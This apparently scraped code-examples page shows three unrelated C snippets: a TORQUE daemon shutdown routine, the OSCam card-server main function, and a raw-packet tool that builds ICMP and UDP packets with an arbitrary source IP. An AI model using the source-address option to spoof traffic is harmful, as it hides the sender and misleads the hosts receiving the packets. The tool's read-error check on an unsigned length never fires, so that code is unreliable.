    pthread_mutex_unlock(log_mutex);

    /* start the listener */
    rc = start_listener(server_ip, server_port, process_meth);
    if(rc != PBSE_NONE)
      {
      openlog("daemonize_trqauthd", LOG_PID | LOG_NOWAIT, LOG_DAEMON);
      syslog(LOG_ALERT, "trqauthd could not start: %d\n", rc);
      log_err(rc, "daemonize_trqauthd", (char *)"trqauthd could not start");
      pthread_mutex_lock(log_mutex);
      log_close(1);
      pthread_mutex_unlock(log_mutex);
      if (changed_msg_daem && msg_daemonname) {
          free(msg_daemonname);
      }
      clean_log_init_mutex();
      exit(-1);
      }
    snprintf(msg_trqauthddown, sizeof(msg_trqauthddown),
      "TORQUE authd daemon shut down and no longer listening on IP:port %s:%d",
      server_ip, server_port);
    log_event(PBSEVENT_SYSTEM | PBSEVENT_FORCE, PBS_EVENTCLASS_TRQAUTHD,
      msg_daemonname, msg_trqauthddown);
    pthread_mutex_lock(log_mutex);
    log_close(1);
    pthread_mutex_unlock(log_mutex);
    if (changed_msg_daem && msg_daemonname)
      {
      free(msg_daemonname);
      }
    clean_log_init_mutex();
    exit(0);
  }
Ejemplo n.º 20
0
int32_t main (int32_t argc, char *argv[])
{
	int32_t i, j;
	prog_name = argv[0];
	if (pthread_key_create(&getclient, NULL)) {
		fprintf(stderr, "Could not create getclient, exiting...");
		exit(1);
	}

  void (*mod_def[])(struct s_module *)=
  {
#ifdef MODULE_MONITOR
           module_monitor,
#endif
#ifdef MODULE_CAMD33
           module_camd33,
#endif
#ifdef MODULE_CAMD35
           module_camd35,
#endif
#ifdef MODULE_CAMD35_TCP
           module_camd35_tcp,
#endif
#ifdef MODULE_NEWCAMD
           module_newcamd,
#endif
#ifdef MODULE_CCCAM
           module_cccam,
#endif
#ifdef MODULE_PANDORA
           module_pandora,
#endif
#ifdef MODULE_GHTTP
           module_ghttp,
#endif
#ifdef CS_CACHEEX
           module_csp,
#endif
#ifdef MODULE_GBOX
           module_gbox,
#endif
#ifdef MODULE_CONSTCW
           module_constcw,
#endif
#ifdef MODULE_RADEGAST
           module_radegast,
#endif
#ifdef MODULE_SERIAL
           module_serial,
#endif
#ifdef HAVE_DVBAPI
	   module_dvbapi,
#endif
           0
  };

  void (*cardsystem_def[])(struct s_cardsystem *)=
  {
#ifdef READER_NAGRA
	reader_nagra,
#endif
#ifdef READER_IRDETO
	reader_irdeto,
#endif
#ifdef READER_CONAX
	reader_conax,
#endif
#ifdef READER_CRYPTOWORKS
	reader_cryptoworks,
#endif
#ifdef READER_SECA
	reader_seca,
#endif
#ifdef READER_VIACCESS
	reader_viaccess,
#endif
#ifdef READER_VIDEOGUARD
	reader_videoguard1,
	reader_videoguard2,
	reader_videoguard12,
#endif
#ifdef READER_DRE
	reader_dre,
#endif
#ifdef READER_TONGFANG
	reader_tongfang,
#endif
#ifdef READER_BULCRYPT
	reader_bulcrypt,
#endif
#ifdef READER_GRIFFIN
	reader_griffin,
#endif
#ifdef READER_DGCRYPT
	reader_dgcrypt,
#endif
	0
  };

  void (*cardreader_def[])(struct s_cardreader *)=
  {
#ifdef CARDREADER_DB2COM
	cardreader_db2com,
#endif
#if defined(CARDREADER_INTERNAL_AZBOX)
	cardreader_internal_azbox,
#elif defined(CARDREADER_INTERNAL_COOLAPI)
	cardreader_internal_cool,
#elif defined(CARDREADER_INTERNAL_SCI)
	cardreader_internal_sci,
#endif
#ifdef CARDREADER_PHOENIX
	cardreader_mouse,
#endif
#ifdef CARDREADER_MP35
	cardreader_mp35,
#endif
#ifdef CARDREADER_PCSC
	cardreader_pcsc,
#endif
#ifdef CARDREADER_SC8IN1
	cardreader_sc8in1,
#endif
#ifdef CARDREADER_SMARGO
	cardreader_smargo,
#endif
#ifdef CARDREADER_SMART
	cardreader_smartreader,
#endif
#ifdef CARDREADER_STAPI
	cardreader_stapi,
#endif
	0
  };

  parse_cmdline_params(argc, argv);

  if (bg && do_daemon(1,0))
  {
    printf("Error starting in background (errno=%d: %s)", errno, strerror(errno));
    cs_exit(1);
  }

  get_random_bytes_init();

#ifdef WEBIF
  if (cs_restart_mode)
    restart_daemon();
#endif

  memset(&cfg, 0, sizeof(struct s_config));
  cfg.max_pending = max_pending;

  if (cs_confdir[strlen(cs_confdir) - 1] != '/') strcat(cs_confdir, "/");
  init_signal_pre(); // because log could cause SIGPIPE errors, init a signal handler first
  init_first_client();
  cs_lock_create(&system_lock, 5, "system_lock");
  cs_lock_create(&config_lock, 10, "config_lock");
  cs_lock_create(&gethostbyname_lock, 10, "gethostbyname_lock");
  cs_lock_create(&clientlist_lock, 5, "clientlist_lock");
  cs_lock_create(&readerlist_lock, 5, "readerlist_lock");
  cs_lock_create(&fakeuser_lock, 5, "fakeuser_lock");
  cs_lock_create(&ecmcache_lock, 5, "ecmcache_lock");
  cs_lock_create(&readdir_lock, 5, "readdir_lock");
  cs_lock_create(&cwcycle_lock, 5, "cwcycle_lock");
  cs_lock_create(&hitcache_lock, 5, "hitcache_lock");
  coolapi_open_all();
  init_config();
  cs_init_log();
  if (!oscam_pidfile && cfg.pidfile)
    oscam_pidfile = cfg.pidfile;
  if (!oscam_pidfile) {
    oscam_pidfile = get_tmp_dir_filename(default_pidfile, sizeof(default_pidfile), "oscam.pid");
  }
  if (oscam_pidfile)
    pidfile_create(oscam_pidfile);
  cs_init_statistics();
  init_check();
  init_stat();

  // These initializations *MUST* be called after init_config()
  // because modules depend on config values.
  for (i=0; mod_def[i]; i++)
  {
	struct s_module *module = &modules[i];
	mod_def[i](module);
  }
  for (i=0; cardsystem_def[i]; i++)
  {
	memset(&cardsystems[i], 0, sizeof(struct s_cardsystem));
	cardsystem_def[i](&cardsystems[i]);
  }
  for (i=0; cardreader_def[i]; i++)
  {
	memset(&cardreaders[i], 0, sizeof(struct s_cardreader));
	cardreader_def[i](&cardreaders[i]);
  }

  init_sidtab();
  init_readerdb();
  cfg.account = init_userdb();
  init_signal();
  init_srvid();
  init_tierid();
  init_provid();

  start_garbage_collector(gbdb);

  cacheex_init();

  init_len4caid();
  init_irdeto_guess_tab();

  write_versionfile(false);

  led_init();
  led_status_default();

  azbox_init();

  mca_init();

  global_whitelist_read();
  cacheex_load_config_file();

	for (i = 0; i < CS_MAX_MOD; i++) {
		struct s_module *module = &modules[i];
		if ((module->type & MOD_CONN_NET)) {
			for (j = 0; j < module->ptab.nports; j++) {
				start_listener(module, &module->ptab.ports[j]);
			}
		}
	}

	//set time for server to now to avoid 0 in monitor/webif
	first_client->last=time((time_t *)0);

	webif_init();

	start_thread((void *) &reader_check, "reader check");
	cw_process_thread_start();

	lcd_thread_start();

	do_report_emm_support();

	init_cardreader();

	cs_waitforcardinit();

	led_status_starting();

	ac_init();

	for (i = 0; i < CS_MAX_MOD; i++) {
		struct s_module *module = &modules[i];
		if ((module->type & MOD_CONN_SERIAL) && module->s_handler)
			module->s_handler(NULL, NULL, i);
	}

	// main loop function
	process_clients();

	cw_process_thread_wakeup(); // Stop cw_process thread
	pthread_cond_signal(&reader_check_sleep_cond); // Stop reader_check thread

	// Cleanup
	webif_close();
	azbox_close();
	coolapi_close_all();
	mca_close();

	led_status_stopping();
	led_stop();
	lcd_thread_stop();

	remove_versionfile();

	stat_finish();
	cccam_done_share();

	kill_all_clients();
	kill_all_readers();

	if (oscam_pidfile)
		unlink(oscam_pidfile);

	webif_tpls_free();
	init_free_userdb(cfg.account);
	cfg.account = NULL;
	init_free_sidtab();
	free_readerdb();
	free_irdeto_guess_tab();
	config_free();

	cs_log("cardserver down");
	log_free();

	stop_garbage_collector();

	free(first_client->account);
	free(first_client);

	// This prevents the compiler from removing config_mak from the final binary
	syslog_ident = config_mak;

	return exit_oscam;
}
Ejemplo n.º 21
0
int main(int argc, char** argv)
{
	int exitstatus = 0;


	/* declare CL args */
	arg_lit_t *help = (arg_lit_t*) arg_lit0("h", "help", "prints the command glossary");
	arg_lit_t *myip = (arg_lit_t*) arg_lit0("m", NULL, "prints the external ip of the interface currently being used");
	arg_lit_t *bounce_opt = (arg_lit_t*) arg_lit0("b", NULL, "creates a bouncer to send the message received back to the sender");
	arg_lit_t *listen_opt = (arg_lit_t*) arg_lit0("l", NULL, "creates a listener to print the messages received");
	
	arg_file_t *proto = (arg_file_t*) arg_filen("p", "protocol", "acronym", 0, 1, "specify the protocol being manipulated");
	arg_file_t *source = (arg_file_t*) arg_filen("s", "source", "x.x.x.x", 0, 1, "specify the source IP");
	arg_file_t *dest = (arg_file_t*) arg_filen("d", "dest", "x.x.x.x", 0, 1, "specify the destination IP");
	arg_int_t *sport = (arg_int_t*) arg_intn(NULL, "srcport", "short", 0, 1, "specify the source port if applicable");
	arg_int_t *dport = (arg_int_t*) arg_intn(NULL, "dstport", "short", 0, 1, "specify the destination port if applicable");

	arg_str_t *mcontent = (arg_str_t*) arg_strn(NULL, NULL, "string", 0, 1, "message content as a string");
	
	arg_end_t *end = (arg_end_t*) arg_end(20);
	void *argtable[] = {help,myip,bounce_opt,listen_opt,proto,source,
			    dest,sport,dport,mcontent,end};

	if(arg_nullcheck(argtable) != 0)
	{
		fprintf(stderr, "error: insufficient memory");
		exitstatus = -1;
		goto exit_prog;
	}

	/* parse and act */
	int nerrors = arg_parse(argc,argv,argtable);
	if(nerrors == 0)
	{
		
		char sourceipbuf[INET6_ADDRSTRLEN];
		size_t contentlen = 0;
		char message_content[MAX_MESSAGELEN + 1];

		/* get glossary */
		if(help->count)
		{
			arg_print_glossary(stdout, argtable, "%-25s %s\n");
		}

		/* get current IP address */
		else if(myip->count)
		{
			if(getmyip(sourceipbuf) == 0)
			{
				printf("Your packets will have the source IP address %s\n", sourceipbuf);
			}
			else
			{
				fprintf(stderr, "error: could not get your IP address.\n");
				exitstatus = -1;
				goto exit_prog;
			}
		}
		
		/* start bouncer */
		else if(bounce_opt->count)
		{
			if(!proto->count)
			{
				fprintf(stderr, "error: expected <protocol> specified.\n");
				exitstatus = -1;
				goto exit_prog;
			}
			
			enum Protocol protocol = parse_protocol(proto->filename[0]);
			if(protocol  == proto_UDP)
			{
				if(!sport->count)
				{
					fprintf(stderr, "error: expected <srcport> specified.\n");
					exitstatus = -1;
					goto exit_prog;
				}

				printf("Starting bouncer for UDP packets on port %u...\n", sport->ival[0]);
				
				/* start_udp_listener(sport->ival[0], bounce_udp_packet);*/
			}
			else
			{
				fprintf(stderr, "Bouncing for %s packets is not supported.\n", proto->filename[0]);
				exitstatus = -1;
				goto exit_prog;
			}
		}
		
		/* start listener */
		else if(listen_opt->count)
		{
			if(!proto->count)
			{
				fprintf(stderr, "error: expected <protocol> specified.\n");
				exitstatus = -1;
				goto exit_prog;
			}
			
			enum Protocol protocol = parse_protocol(proto->filename[0]);
			if(protocol  == proto_UDP)
			{
				if(!sport->count)
				{
					fprintf(stderr, "error: expected <srcport> specified.\n");
					exitstatus = -1;
					goto exit_prog;
				}

				printf("Starting listener for UDP packets on port %u...\n", sport->ival[0]);
				
				char filter[FILTER_BUFLEN];
				memset(filter, 0, FILTER_BUFLEN);
				sprintf(filter, "udp dst port %i", sport->ival[0]);

				start_listener(filter, print_udp_packet);
				/* start_udp_listener(sport->ival[0], print_packet);*/
			}
			else
			{
				fprintf(stderr, "Listening for %s packets is not supported.\n", proto->filename[0]);
				exitstatus = -1;
				goto exit_prog;
			}
		}


		/* send packet */
		else
		{
			/* take into account stdin reading if necessary */
			if(!mcontent->count)
			{
				contentlen = read(STDIN_FILENO, message_content, MAX_MESSAGELEN);
				if(contentlen < 0)
				{
					fprintf(stderr, "error: could not read message from stdin.\n");
					perror("read");
					exitstatus = -1;
					goto exit_prog;

				}
				message_content[contentlen] = '\0';
			}
			else
			{
				int tempstrlen = strlen(mcontent->sval[0]);
				contentlen = tempstrlen > MAX_MESSAGELEN ? MAX_MESSAGELEN : tempstrlen;
				memcpy(message_content, mcontent->sval[0], contentlen);
				message_content[contentlen] = '\0';
			}

			if(!proto->count || !dest->count)
			{
				fprintf(stderr, "error: expected <protocol> and <dest> specified.\n");
				exitstatus = -1;
				goto exit_prog;
			}
			
			if(!source->count)
			{
				if(getmyip(sourceipbuf) != 0)
				{
					fprintf(stderr, "error: could not get your IP address.\n");
					exitstatus = -1;
					goto exit_prog;
				}
			}
			else
			{
				strncpy(sourceipbuf, source->filename[0], INET6_ADDRSTRLEN);
			}


			enum Protocol protocol = parse_protocol(proto->filename[0]);
			if(protocol  == proto_ICMP)
			{
				time_t t;
				if(time(&t) == -1)
				{
					fprintf(stderr, "error: could not get timestamp.\n");
					exitstatus = -1;
					goto exit_prog;
				}

				printf("Sending ICMP ping packet...\nSource -> %s\n"
							       "Destination -> %s\n"
							       "Message -> %i\n",
							       sourceipbuf,
							       dest->filename[0],
							       (int) t);

				/* construct ICMP header */
				int err;
				int payloadsize = sizeof(icmpheader_t) + sizeof(time_t);
				char ip_payload[payloadsize];
				
				/* copy in timestamp */
				/* we must do this first for the checksum calculation */
				t = htonl(t);
				memcpy(ip_payload + sizeof(icmpheader_t), &t, sizeof(time_t));
				
				/* identifier is lower 16 bits,
				   sequence number is upper 16 bits */ 
				uint32_t rest = htons(0x00);
				rest <<= 16;
				rest |= htons(0x7b);

				if((err = fill_icmp_header((icmpheader_t*) ip_payload, 8, 0, rest, sizeof(time_t))) != 0)
				{
					fprintf(stderr, "error: could not fill icmp header, returned %i.\n", err);
					exitstatus = -1;
					goto exit_prog;
				}


				/* send the ip packet */
				ipheader_t iph;
				iph.ip_p = 1; /* ICMP */
				inet_aton(sourceipbuf, (struct in_addr*) &iph.ip_src);
				inet_aton(dest->filename[0], (struct in_addr*) &iph.ip_dst);
				if((err = send_ip_packet(&iph, ip_payload, payloadsize)) != 0)
				{
					fprintf(stderr, "error: could not send ip packet, returned %i.\n", err);
					exitstatus = -1;
					goto exit_prog;
				}
			}
			else if(protocol  == proto_UDP)
			{
				/* get port info */
				unsigned short srcport = sport->count ? (unsigned short) sport->ival[0] : 0;
				if(!dport->count)
				{
					fprintf(stderr, "error: <dstport> specified.\n");
					exitstatus = -1;
					goto exit_prog;
				}
				unsigned short dstport = (unsigned short) dport->ival[0];

				printf("Sending UDP packet...\nSource -> %s:%i\n"
							       "Destination -> %s:%i\n"
							       "Message Length -> %u bytes\n",
							       sourceipbuf, srcport,
							       dest->filename[0], dstport,
							       (unsigned int) contentlen);


				/* construct UDP header */
				int err;
				int payloadsize = sizeof(udpheader_t) + contentlen;
				char ip_payload[payloadsize];

				if((err = fill_udp_header((udpheader_t*) ip_payload, srcport, dstport, contentlen)) != 0)
				{
					fprintf(stderr, "error: could not fill udp header, returned %i.\n", err);
					exitstatus = -1;
					goto exit_prog;
				}

		
				/* set up IP payload */
				memcpy(ip_payload + sizeof(udpheader_t), message_content, contentlen);

				/* send the ip packet */
				ipheader_t iph;
				iph.ip_p = 17; /* UDP */
				inet_aton(sourceipbuf, (struct in_addr*) &iph.ip_src);
				inet_aton(dest->filename[0], (struct in_addr*) &iph.ip_dst);
				if((err = send_ip_packet(&iph, ip_payload, payloadsize)) != 0)
				{
					fprintf(stderr, "error: could not send ip packet, returned %i.\n", err);
					exitstatus = -1;
					goto exit_prog;
				}
			}
			else if(protocol  == proto_TCP)
			{
				printf("TCP currently not supported.\n");
			}
			else
			{
				fprintf(stderr, "error: protocol %s is not supported.\n", proto->filename[0]);
			}
	
			
		}

	}
	else
	{
		arg_print_errors(stdout, end, argv[0]);
		exitstatus = -1;
		goto exit_prog;
	}

exit_prog:
	arg_freetable(argtable, sizeof(argtable)/sizeof(argtable[0]));
	exit(exitstatus);
}